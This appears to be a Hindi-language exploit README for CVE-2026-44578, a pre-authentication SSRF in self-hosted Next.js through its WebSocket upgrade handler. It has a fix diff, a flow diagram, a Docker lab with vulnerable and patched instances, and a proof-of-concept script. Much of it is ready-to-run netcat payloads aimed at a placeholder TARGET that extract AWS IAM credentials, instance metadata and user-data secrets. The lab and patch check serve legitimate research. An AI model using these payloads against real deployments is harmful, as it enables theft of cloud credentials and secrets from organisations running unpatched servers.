
CVE-2026-44578: Next.js WebSocket अपग्रेड SSRF — localhost:80 के माध्यम से प्री-ऑथ क्रेडेंशियल चोरी। लैब + एक्सप्लॉइट + ऑडिट।
Next.js स्व-होस्टेड डिप्लॉयमेंट में प्री-ऑथेंटिकेशन सर्वर-साइड रिक्वेस्ट फॉरजरी।
एक एकल क्राफ्टेड HTTP अनुरोध AWS क्रेडेंशियल्स, रहस्यों और आंतरिक सेवा डेटा को localhost:80 से निकालता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| प्रकार | SSRF (CWE-918) |
| प्रभावित | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (केवल स्व-होस्टेड) |
| समाधान | 15.5.16, 16.2.5 |
| प्रमाणीकरण आवश्यक | कोई नहीं |
| उपयोगकर्ता इंटरैक्शन | कोई नहीं |
router-server.ts में वेबसॉकेट अपग्रेड हैंडलर parsedUrl.protocol के सत्य होने पर proxyRequest() को कॉल करता है—बिना finished और statusCode रूटिंग-समाप्ति फ़्लैग्स की जाँच किए जो HTTP हैंडलर हमेशा लागू करता था।
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
normalizeRepeatedSlashes के http:/// को http:/ में संक्षिप्त करने के बाद, होस्टनेम null होता है और http-proxy सही पथ के साथ localhost:80 से जुड़ता है। कोई भी सह-स्थित सेवा (क्लाउड मेटाडेटा, एडमिन पैनल, आंतरिक API) उजागर हो जाती है।
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlनिरपेक्ष-फॉर्म URI नहीं भेज सकता। रॉ TCP का उपयोग करें:nc,ncat,socat, या Python sockets।
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
यह 5 कंटेनर प्रारंभ करता है:
| कंटेनर | भूमिका | उजागर |
|---|---|---|
nextjs-vuln | Next.js 15.5.15 (असुरक्षित) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (पैच किया गया) | localhost:3001 |
imds-sidecar-vuln | फर्जी AWS IMDSv1 जो असुरक्षित के साथ नेटवर्क साझा करता है | localhost:80 (असुरक्षित के दृष्टिकोण से) |
imds-sidecar-fixed | फर्जी AWS IMDSv1 जो फिक्स्ड के साथ नेटवर्क साझा करता है | localhost:80 (फिक्स्ड के दृष्टिकोण से) |
internal-api | आंतरिक सेवा मॉक | — |
IMDS साइडकार network_mode: "service:nextjs-*" का उपयोग करते हैं ताकि फर्जी मेटाडेटा सेवा Next.js कंटेनर के अंदर localhost:80 पर हो—एक वास्तविक क्लाउड इंस्टेंस का मॉडलिंग करते हुए।
# पूर्ण परीक्षण सूट (7 SSRF जांच)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# एकल क्रेडेंशियल निष्कर्षण
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# पुष्टि करें कि पैच किया गया इंस्टेंस इसे ब्लॉक करता है
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
सभी कंटेनर ऊपर—असुरक्षित (15.5.15) :3000 पर, पैच किया गया (15.5.16) :3001 पर, IMDS साइडकार नेटवर्क नेमस्पेस साझा कर रहे हैं।
एकल अनुरोध पूर्ण EC2 मेटाडेटा निर्देशिका (ami-id, instance-id, iam/, placement/, आदि) लौटाता है।
पूर्ण IAM क्रेडेंशियल सेट: AccessKeyId, SecretAccessKey, Token, और Expiration।
EC2 उपयोगकर्ता-डेटा बूटस्ट्रैप स्क्रिप्ट जिसमें DB_PASSWORD और API_KEY शामिल हैं।
इसी SSRF वेक्टर के माध्यम से इंस्टेंस ID निकाली गई।
Next.js 15.5.16 के विरुद्ध समान पेलोड। कनेक्शन तुरंत बंद—कोई डेटा वापस नहीं।
फर्जी IMDS लॉग दिखाते हैं कि GET अनुरोध 127.0.0.1 (Next.js प्रक्रिया) से आ रहे हैं, यह साबित करता है कि SSRF सर्वर-साइड है।
सभी 7 SSRF परीक्षण संवेदनशील डेटा लौटाते हैं।
सभी 7 परीक्षण पैच किए गए इंस्टेंस पर ब्लॉक। समाधान पुष्टि।
# 1. मेटाडेटा श्रेणियाँ सूचीबद्ध करें
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. इंस्टेंस ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. IAM भूमिका खोजें
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000